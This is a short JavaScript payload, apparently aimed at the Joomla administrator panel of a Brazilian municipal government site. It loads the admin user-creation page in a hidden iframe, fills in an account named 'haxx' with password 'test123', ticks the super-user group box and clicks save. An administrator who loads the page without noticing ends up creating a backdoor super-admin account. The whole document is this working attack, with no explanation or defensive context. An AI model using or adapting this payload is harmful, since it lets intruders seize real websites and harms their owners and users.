<script>
document.writeln('<iframe id="iframe" src="http://www.altoparaguai.mt.gov.br/administrator/index.php?option=com_users&view=user&layout=edit" width="0" height="0" style="visibility:hidden;" onload="read()"></iframe>');

function read()
{
var name="Test";
var username="haxx";
var password="test123";
var email="fake _at_ gmail.com";

document.getElementById("iframe").contentDocument.forms[0].jform_name.value = name;
document.getElementById("iframe").contentDocument.forms[0].jform_username.value = username;
document.getElementById("iframe").contentDocument.forms[0].jform_password.value = password;
document.getElementById("iframe").contentDocument.forms[0].jform_password2.value = password;
document.getElementById("iframe").contentDocument.forms[0].jform_email.value = email;
document.getElementById("iframe").contentDocument.forms[0].getElementById("1group_8").checked=true;
document.getElementById("iframe").contentDocument.getElementsByTagName("a")[11].onclick();
}
</script>